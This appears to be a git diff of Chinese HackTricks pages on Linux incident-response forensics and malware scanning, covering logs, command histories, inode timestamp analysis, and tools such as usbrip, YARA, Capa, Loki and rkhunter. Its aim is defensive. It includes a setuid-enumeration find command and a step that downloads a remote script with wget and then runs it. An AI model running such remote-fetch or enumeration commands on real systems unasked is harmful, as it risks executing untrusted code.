* **/var/log/mysqld.log** 或 **/var/log/mysql.log**:记录使用MySQL执行的每个调试、失败和成功消息,包括启动、停止和重新启动MySQL守护程序mysqld。系统决定目录。RedHat、CentOS、Fedora和其他基于RedHat的系统使用 /var/log/mariadb/mariadb.log。但是,Debian/Ubuntu使用 /var/log/mysql/error.log 目录。
|
||||||
* **/var/log/xferlog**:保存FTP文件传输会话。包括文件名和用户发起的FTP传输的信息。
|
* **/var/log/xferlog**:保留FTP文件传输会话。包括文件名和用户发起的FTP传输等信息。
|
||||||
* **/var/log/\*** : 您应该始终检查此目录中是否有意外的日志
|
* **/var/log/\***:您应始终检查此目录中的意外日志
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Linux系统日志和审计子系统可能在入侵或恶意软件事件中被禁用或删除。因为Linux系统上的日志通常包含有关恶意活动的最有用信息,入侵者经常删除它们。因此,在检查可用的日志文件时,寻找可能表明删除或篡改的间隙或顺序错误的迹象是很重要的。
|
Linux系统日志和审计子系统可能在入侵或恶意软件事件中被禁用或删除。因为Linux系统上的日志通常包含有关恶意活动的最有用信息,入侵者经常删除它们。因此,在检查可用的日志文件时,重要的是查找可能表示删除或篡改的间隙或顺序不当的条目。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 命令历史
|
### 命令历史
|
||||||
|
|
||||||
许多Linux系统配置为为每个用户账户维护命令历史:
|
许多Linux系统配置为为每个用户帐户保留命令历史记录:
|
||||||
|
|
||||||
* \~/.bash\_history
|
* \~/.bash\_history
|
||||||
* \~/.history
|
* \~/.history
|
||||||
|
@ -300,34 +305,34 @@ Linux系统日志和审计子系统可能在入侵或恶意软件事件中被禁
|
||||||
使用命令 `last -Faiwx` 可以获取已登录用户的列表。\
|
使用命令 `last -Faiwx` 可以获取已登录用户的列表。\
|
||||||
建议检查这些登录是否合理:
|
建议检查这些登录是否合理:
|
||||||
|
|
||||||
* 有未知用户吗?
|
* 任何未知用户?
|
||||||
* 有不应该登录shell的用户吗?
|
* 任何不应该有shell登录的用户?
|
||||||
|
|
||||||
这很重要,因为 **攻击者** 有时可能会将 `/bin/bash` 复制到 `/bin/false` 中,这样像 **lightdm** 这样的用户可能 **能够登录**。
|
这很重要,因为**攻击者**有时可能会将 `/bin/bash` 复制到 `/bin/false` 中,因此像 **lightdm** 这样的用户可能会**能够登录**。
|
||||||
|
|
||||||
注意,您也可以通过阅读日志来查看这些信息。
|
请注意,您也可以通过阅读日志来查看这些信息。
|
||||||
|
|
||||||
### 应用痕迹
|
### 应用程序痕迹
|
||||||
|
|
||||||
* **SSH**:使用SSH从受损系统到其他系统的连接会在每个用户账户的文件中产生条目(_**∼/.ssh/authorized\_keys**_ 和 _**∼/.ssh/known\_keys**_)。这些条目可以揭示远程主机的主机名或IP地址。
|
* **SSH**:使用SSH连接到受损系统和从受损系统连接到系统会导致为每个用户帐户在文件中创建条目(_**∼/.ssh/authorized\_keys**_ 和 _**∼/.ssh/known\_keys**_)。这些条目可以显示远程主机的主机名或IP地址。
|
||||||
* **Gnome桌面**:用户账户可能有一个 _**∼/.recently-used.xbel**_ 文件,其中包含使用在Gnome桌面上运行的应用程序访问的文件的信息。
|
* **Gnome桌面**:用户帐户可能有一个包含有关在Gnome桌面上运行的应用程序最近访问的文件信息的 _**∼/.recently-used.xbel**_ 文件。
|
||||||
* **VIM**:用户账户可能有一个 _**∼/.viminfo**_ 文件,其中包含使用VIM的详细信息,包括搜索字符串历史和使用vim打开的文件路径。
|
* **VIM**:用户帐户可能有一个包含有关VIM使用的详细信息的 _**∼/.viminfo**_ 文件,包括搜索字符串历史和使用vim打开的文件的路径。
|
||||||
* **Open Office**:最近文件。
|
* **Open Office**:最近的文件。
|
||||||
* **MySQL**:用户账户可能有一个 _**∼/.mysql\_history**_ 文件,其中包含使用MySQL执行的查询。
|
* **MySQL**:用户帐户可能有一个包含使用MySQL执行的查询的 _**∼/.mysql\_history**_ 文件。
|
||||||
* **Less**:用户账户可能有一个 _**∼/.lesshst**_ 文件,其中包含使用less的详细信息,包括搜索字符串历史和通过less执行的shell命令。
|
* **Less**:用户帐户可能有一个包含有关less使用的详细信息的 _**∼/.lesshst**_ 文件,包括搜索字符串历史和通过less执行的shell命令。
|
||||||
|
|
||||||
### USB日志
|
### USB日志
|
||||||
|
|
||||||
[**usbrip**](https://github.com/snovvcrash/usbrip) 是一个用纯Python 3编写的小软件,它解析Linux日志文件(`/var/log/syslog*` 或 `/var/log/messages*`,取决于发行版)以构建USB事件历史表。
|
[**usbrip**](https://github.com/snovvcrash/usbrip) 是一个纯Python 3编写的小型软件,用于解析Linux日志文件(取决于发行版,可能是 `/var/log/syslog*` 或 `/var/log/messages*`)以构建USB事件历史表。
|
||||||
|
|
||||||
了解所有已使用的USB非常有趣,如果您有一个授权的USB列表,找到“违规事件”(未在该列表中的USB的使用)将更有用。
|
了解已使用的所有USB设备是很有趣的,如果您有一个USB设备的授权列表,将更有用,以查找“违规事件”(使用未包含在该列表中的USB设备)。
|
||||||
|
|
||||||
### 安装
|
### 安装
|
||||||
```
|
```
|
||||||
pip3 install usbrip
|
pip3 install usbrip
|
||||||
usbrip ids download #Download USB ID database
|
usbrip ids download #Download USB ID database
|
||||||
```
|
```
|
||||||
### 示例
|
### 例子
|
||||||
```
|
```
|
||||||
usbrip events history #Get USB history of your curent linux machine
|
usbrip events history #Get USB history of your curent linux machine
|
||||||
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
|
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
|
||||||
|
@ -335,55 +340,56 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
|
||||||
usbrip ids download #Downlaod database
|
usbrip ids download #Downlaod database
|
||||||
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||||
```
|
```
|
||||||
更多示例和信息请访问 GitHub:[https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
更多示例和信息请查看github:[https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 轻松构建并**自动化工作流程**,这些工作流程由世界上**最先进**的社区工具提供支持。
|
\
|
||||||
|
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流**,利用全球**最先进**的社区工具。\
|
||||||
立即获取访问权限:
|
立即获取访问权限:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
## 审查用户账户和登录活动
|
## 查看用户帐户和登录活动
|
||||||
|
|
||||||
检查 _**/etc/passwd**_、_**/etc/shadow**_ 和**安全日志**,寻找不寻常的名称或账户,这些账户可能在已知未授权事件发生前后被创建或使用。同时,检查可能的 sudo 暴力破解攻击。
|
检查 _**/etc/passwd**_、_**/etc/shadow**_ 和**安全日志**,查找是否有异常名称或在已知未经授权事件附近创建或使用的帐户。还要检查可能的sudo暴力攻击。\
|
||||||
此外,检查 _**/etc/sudoers**_ 和 _**/etc/groups**_ 文件,查看是否有给用户意外授予的权限。
|
此外,检查 _**/etc/sudoers**_ 和 _**/etc/groups**_ 等文件,查看是否给用户授予了意外的特权。\
|
||||||
最后,寻找**没有密码**或**容易被猜到密码**的账户。
|
最后,查找没有密码或**易于猜测**密码的帐户。
|
||||||
|
|
||||||
## 检查文件系统
|
## 检查文件系统
|
||||||
|
|
||||||
文件系统数据结构可以提供大量与**恶意软件**事件相关的**信息**,包括事件的**时间**和**恶意软件**的实际**内容**。
|
文件系统数据结构可以提供大量与**恶意软件**事件相关的**信息**,包括事件的**时间**和**恶意软件**的实际**内容**。\
|
||||||
**恶意软件**越来越多地被设计为**阻碍文件系统分析**。一些恶意软件会更改恶意文件的日期时间戳,使其更难通过时间线分析找到。其他恶意代码被设计为仅将某些信息存储在内存中,以最小化文件系统中存储的数据量。
|
**恶意软件**越来越多地被设计为**阻碍文件系统分析**。一些恶意软件会更改恶意文件的日期时间戳,使其更难通过时间线分析找到它们。其他恶意代码被设计为仅在内存中存储某些信息,以最小化存储在文件系统中的数据量。\
|
||||||
为了应对这些反取证技术,需要**仔细关注文件系统日期时间戳的时间线分析**,以及在可能发现恶意软件的常见位置存储的文件。
|
为了应对这种反取证技术,有必要**仔细关注文件系统日期时间戳的时间线分析**,以及存储恶意软件可能被发现的常见位置中的文件。
|
||||||
|
|
||||||
* 使用 **autopsy** 可以查看可能有助于发现可疑活动的事件时间线。您也可以直接使用 **Sleuth Kit** 的 `mactime` 功能。
|
* 使用**autopsy**可以查看可能有助于发现可疑活动的事件时间线。您还可以直接使用**Sleuth Kit**的`mactime`功能。
|
||||||
* 检查 **$PATH** 中的**意外脚本**(可能是一些 sh 或 php 脚本?)
|
* 检查**$PATH**中的**意外脚本**(也许是一些sh或php脚本?)
|
||||||
* `/dev` 中的文件过去是特殊文件,您可能会在这里找到与恶意软件相关的非特殊文件。
|
* `/dev`中的文件曾经是特殊文件,您可能会在这里找到与恶意软件相关的非特殊文件。
|
||||||
* 寻找不寻常或**隐藏的文件**和**目录**,例如“.. ”(点点空格)或“..^G ”(点点控制-G)
|
* 查找异常或**隐藏文件**和**目录**,例如“.. ”(点 点 空格)或“..^G ”(点 点 控制-G)
|
||||||
* 系统上的 /bin/bash 的 Setuid 副本 `find / -user root -perm -04000 –print`
|
* 系统上的/bin/bash的setuid副本 `find / -user root -perm -04000 –print`
|
||||||
* 审查已删除**节点的日期时间戳,以查找大量文件在同一时间被删除**,这可能表明恶意活动,如安装 rootkit 或木马化服务。
|
* 查看已删除**inode的日期时间戳,以查看是否在同一时间删除了大量文件**,这可能表明恶意活动,如安装rootkit或木马服务。
|
||||||
* 由于节点是按下一个可用的基础分配的,**大约在同一时间放置在系统上的恶意文件可能会被分配连续的节点**。因此,定位到恶意软件的一个组件后,检查相邻节点可能会很有成效。
|
* 因为inode是按照下一个可用基础分配的,**在系统上放置的恶意文件可能在大致相同的时间被分配连续的inode**。因此,在定位恶意软件的一个组件后,检查相邻的inode可能是有效的。
|
||||||
* 还要检查像 _/bin_ 或 _/sbin_ 这样的目录,因为新文件或修改文件的**修改或更改时间**可能很有趣。
|
* 还要检查类似 _/bin_ 或 _/sbin_ 的目录,因为新文件或修改文件的**修改时间**可能很有趣。
|
||||||
* 查看按创建日期而非字母顺序排序的目录中的文件和文件夹很有意思,以便查看哪些文件或文件夹是最新的(通常是最后的文件夹)。
|
* 查看一个目录的文件和文件夹按创建日期**排序**,而不是按字母顺序,以查看哪些文件或文件夹是最近的(通常是最后的)。
|
||||||
|
|
||||||
您可以使用 `ls -laR --sort=time /bin` 检查文件夹中最新的文件\
|
您可以使用 `ls -laR --sort=time /bin` 检查一个文件夹中最近的文件\
|
||||||
您可以使用 `ls -lai /bin |sort -n` 检查文件夹内文件的节点
|
您可以使用 `ls -lai /bin |sort -n` 检查文件夹中文件的inode
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
请注意,**攻击者**可以**修改**文件的**时间**以使文件看起来**合法**,但他**不能**修改**节点**。如果您发现一个**文件**显示它是在与同一文件夹中的其他文件**同时**创建和修改的,但**节点**却**异常地大**,那么该文件的**时间戳被修改了**。
|
请注意,**攻击者**可以**修改**时间使**文件看起来** **合法**,但他**无法修改**inode。如果发现一个**文件**的创建和修改时间与同一文件夹中其他文件的时间相同,但**inode**意外地更大,则该**文件的时间戳已被修改**。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## 比较不同文件系统版本的文件
|
## 比较不同文件系统版本的文件
|
||||||
|
|
||||||
#### 查找新增文件
|
#### 查找添加的文件
|
||||||
```bash
|
```bash
|
||||||
git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/
|
git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/
|
||||||
```
|
```
|
||||||
#### 查找修改过的内容
|
#### 寻找修改过的内容
|
||||||
```bash
|
```bash
|
||||||
git diff --no-index --diff-filter=M _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ | grep -E "^\+" | grep -v "Installed-Time"
|
git diff --no-index --diff-filter=M _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||||
```
|
```
|
||||||
#### 查找已删除的文件
|
#### 寻找已删除的文件
|
||||||
```bash
|
```bash
|
||||||
git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/
|
git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/
|
||||||
```
|
```
|
||||||
|
@ -391,11 +397,11 @@ git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2
|
||||||
|
|
||||||
**`-diff-filter=[(A|C|D|M|R|T|U|X|B)…[*]]`**
|
**`-diff-filter=[(A|C|D|M|R|T|U|X|B)…[*]]`**
|
||||||
|
|
||||||
仅选择已添加(`A`)、已复制(`C`)、已删除(`D`)、已修改(`M`)、已重命名(`R`)的文件,以及那些类型(即常规文件、符号链接、子模块等)已更改(`T`)、未合并(`U`)、未知(`X`)或配对已断开(`B`)的文件。可以使用过滤字符的任意组合(包括无)。当组合中添加了 `*`(全部或无)时,如果比较中有任何文件符合其他条件,则选择所有路径;如果没有文件符合其他条件,则不选择任何内容。
|
仅选择文件类型为已添加 (`A`)、已复制 (`C`)、已删除 (`D`)、已修改 (`M`)、已重命名 (`R`)、类型已更改 (`T`)、未合并 (`U`)、未知 (`X`) 或已配对破损 (`B`) 的文件。可以使用过滤字符的任意组合(包括无)。当在组合中添加 `*`(全部或无)时,如果有任何文件符合比较中的其他条件,则选择所有路径;如果没有文件符合其他条件,则不选择任何内容。
|
||||||
|
|
||||||
此外,**这些大写字母可以小写来排除**。例如 `--diff-filter=ad` 排除了添加和删除的路径。
|
此外,**这些大写字母可以转换为小写以排除**。例如,`--diff-filter=ad` 排除了已添加和已删除的路径。
|
||||||
|
|
||||||
请注意,并非所有差异都能展示所有类型。例如,从索引到工作树的差异永远不会有添加条目(因为差异包含的路径集受索引中内容的限制)。同样,如果禁用了这些类型的检测,则复制和重命名条目也不会出现。
|
请注意,并非所有差异都可以包含所有类型。例如,从索引到工作树的差异永远不会包含已添加条目(因为差异中包含的路径集受限于索引中的内容)。同样,如果禁用了这些类型的检测,则无法出现已复制和已重命名的条目。
|
||||||
|
|
||||||
## 参考资料
|
## 参考资料
|
||||||
|
|
||||||
|
@ -406,20 +412,20 @@ git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
您在**网络安全公司**工作吗?您想在**HackTricks**中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
您在**网络安全公司**工作吗?您想在 HackTricks 中看到您的**公司广告**吗?或者您想访问**PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
* 发现我们的独家[NFTs 集合](https://opensea.io/collection/the-peass-family),[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md) **@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
|
|
||||||
通过向[**hacktricks仓库**](https://github.com/carlospolop/hacktricks)和[**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud)提交PR,**分享您的黑客技巧**。
|
**通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建并**自动化工作流程**,由世界上**最先进**的社区工具提供支持。\
|
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
|
||||||
立即获取访问权限:
|
立即获取访问权限:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
|
@ -2,19 +2,19 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## 取证速查表
|
## 取证备忘单
|
||||||
|
|
||||||
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
|
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
|
||||||
|
|
||||||
|
@ -26,7 +26,7 @@
|
||||||
* [Intezer](https://analyze.intezer.com)
|
* [Intezer](https://analyze.intezer.com)
|
||||||
* [Any.Run](https://any.run/)
|
* [Any.Run](https://any.run/)
|
||||||
|
|
||||||
## 离线杀毒和检测工具
|
## 离线防病毒和检测工具
|
||||||
|
|
||||||
### Yara
|
### Yara
|
||||||
|
|
||||||
|
@ -36,8 +36,8 @@ sudo apt-get install -y yara
|
||||||
```
|
```
|
||||||
#### 准备规则
|
#### 准备规则
|
||||||
|
|
||||||
使用此脚本从github下载并合并所有的yara恶意软件规则:[https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
|
使用此脚本从 github 下载并合并所有 yara 恶意软件规则:[https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
|
||||||
创建 _**rules**_ 目录并执行它。这将创建一个名为 _**malware\_rules.yar**_ 的文件,其中包含所有针对恶意软件的yara规则。
|
创建 _**rules**_ 目录并执行该脚本。这将创建一个名为 _**malware\_rules.yar**_ 的文件,其中包含所有恶意软件的 yara 规则。
|
||||||
```bash
|
```bash
|
||||||
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
|
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
|
||||||
mkdir rules
|
mkdir rules
|
||||||
|
@ -48,9 +48,9 @@ python malware_yara_rules.py
|
||||||
yara -w malware_rules.yar image #Scan 1 file
|
yara -w malware_rules.yar image #Scan 1 file
|
||||||
yara -w malware_rules.yar folder #Scan the whole folder
|
yara -w malware_rules.yar folder #Scan the whole folder
|
||||||
```
|
```
|
||||||
#### YaraGen:检查恶意软件和创建规则
|
#### YaraGen: 检查恶意软件并创建规则
|
||||||
|
|
||||||
您可以使用工具 [**YaraGen**](https://github.com/Neo23x0/yarGen) 从二进制文件生成yara规则。查看这些教程:[**第1部分**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/),[**第2部分**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/),[**第3部分**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
|
您可以使用工具 [**YaraGen**](https://github.com/Neo23x0/yarGen) 从二进制文件生成 yara 规则。查看这些教程:[**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
|
||||||
```bash
|
```bash
|
||||||
python3 yarGen.py --update
|
python3 yarGen.py --update
|
||||||
python3.exe yarGen.py --excludegood -m ../../mals/
|
python3.exe yarGen.py --excludegood -m ../../mals/
|
||||||
|
@ -69,25 +69,25 @@ clamscan folderpath #Scan the whole folder
|
||||||
```
|
```
|
||||||
### [Capa](https://github.com/mandiant/capa)
|
### [Capa](https://github.com/mandiant/capa)
|
||||||
|
|
||||||
**Capa** 可以检测可执行文件中潜在的恶意**能力**:PE、ELF、.NET。因此,它会发现例如 Att\&ck 战术,或者可疑能力,例如:
|
**Capa**检测可执行文件中的潜在恶意功能:PE、ELF、.NET。因此,它会发现诸如Att\&ck战术或可疑功能,例如:
|
||||||
|
|
||||||
* 检查 OutputDebugString 错误
|
- 检查OutputDebugString错误
|
||||||
* 作为服务运行
|
- 作为服务运行
|
||||||
* 创建进程
|
- 创建进程
|
||||||
|
|
||||||
在 [**Github 仓库**](https://github.com/mandiant/capa) 获取它。
|
获取它在[**Github存储库**](https://github.com/mandiant/capa)中。
|
||||||
|
|
||||||
### IOCs
|
### IOCs
|
||||||
|
|
||||||
IOC 指的是妥协指标。IOC 是一组**条件,用于识别**一些可能不受欢迎的软件或已确认的**恶意软件**。蓝队使用这种定义来**在他们的**系统**和**网络**中搜索这类恶意文件**。\
|
IOC表示威胁指标。IOC是一组**用于识别**一些潜在不受欢迎的软件或已确认**恶意软件**的条件。蓝队使用这种定义来在其**系统**和**网络**中**搜索此类恶意文件**。\
|
||||||
分享这些定义非常有用,因为当在计算机中识别出恶意软件并为该恶意软件创建了 IOC 后,其他蓝队可以使用它来更快地识别恶意软件。
|
共享这些定义非常有用,因为当在计算机中识别恶意软件并为该恶意软件创建IOC时,其他蓝队可以使用它更快地识别恶意软件。
|
||||||
|
|
||||||
创建或修改 IOCs 的工具是 [**IOC 编辑器**](https://www.fireeye.com/services/freeware/ioc-editor.html)**。**\
|
创建或修改IOC的工具是[**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**。**\
|
||||||
您可以使用 [**Redline**](https://www.fireeye.com/services/freeware/redline.html) 等工具**在设备中搜索定义的 IOCs**。
|
您可以使用诸如[**Redline**](https://www.fireeye.com/services/freeware/redline.html)之类的工具在设备中**搜索定义的IOC**。
|
||||||
|
|
||||||
### Loki
|
### Loki
|
||||||
|
|
||||||
[**Loki**](https://github.com/Neo23x0/Loki) 是一个简单妥协指标的扫描器。\
|
[**Loki**](https://github.com/Neo23x0/Loki)是一个用于简单威胁指标的扫描器。\
|
||||||
检测基于四种检测方法:
|
检测基于四种检测方法:
|
||||||
```
|
```
|
||||||
1. File Name IOC
|
1. File Name IOC
|
||||||
|
@ -102,43 +102,43 @@ Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
|
||||||
4. C2 Back Connect Check
|
4. C2 Back Connect Check
|
||||||
Compares process connection endpoints with C2 IOCs (new since version v.10)
|
Compares process connection endpoints with C2 IOCs (new since version v.10)
|
||||||
```
|
```
|
||||||
### Linux Malware Detect
|
### Linux 恶意软件检测
|
||||||
|
|
||||||
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) 是一款在 GNU GPLv2 许可下发布的 Linux 恶意软件扫描器,专为共享托管环境中面临的威胁而设计。它使用来自网络边缘入侵检测系统的威胁数据来提取正在攻击中积极使用的恶意软件,并生成用于检测的签名。此外,威胁数据还来自用户通过 LMD 结账功能的提交以及恶意软件社区资源。
|
[**Linux 恶意软件检测 (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) 是一个针对 Linux 的恶意软件扫描器,采用 GNU GPLv2 许可发布,旨在解决共享托管环境中面临的威胁。它利用来自网络边缘入侵检测系统的威胁数据,提取正在攻击中使用的恶意软件,并生成用于检测的签名。此外,威胁数据还来自用户提交的数据,使用 LMD 结账功能以及恶意软件社区资源。
|
||||||
|
|
||||||
### rkhunter
|
### rkhunter
|
||||||
|
|
||||||
像 [**rkhunter**](http://rkhunter.sourceforge.net) 这样的工具可以用来检查文件系统中可能存在的 **rootkits** 和恶意软件。
|
类似 [**rkhunter**](http://rkhunter.sourceforge.net) 这样的工具可用于检查文件系统中可能存在的 **rootkits** 和恶意软件。
|
||||||
```bash
|
```bash
|
||||||
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
|
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
|
||||||
```
|
```
|
||||||
### FLOSS
|
### FLOSS
|
||||||
|
|
||||||
[**FLOSS**](https://github.com/mandiant/flare-floss) 是一个工具,它会尝试使用不同技术在可执行文件中找到混淆的字符串。
|
[**FLOSS**](https://github.com/mandiant/flare-floss) 是一个工具,将尝试使用不同的技术在可执行文件中查找混淆的字符串。
|
||||||
|
|
||||||
### PEpper
|
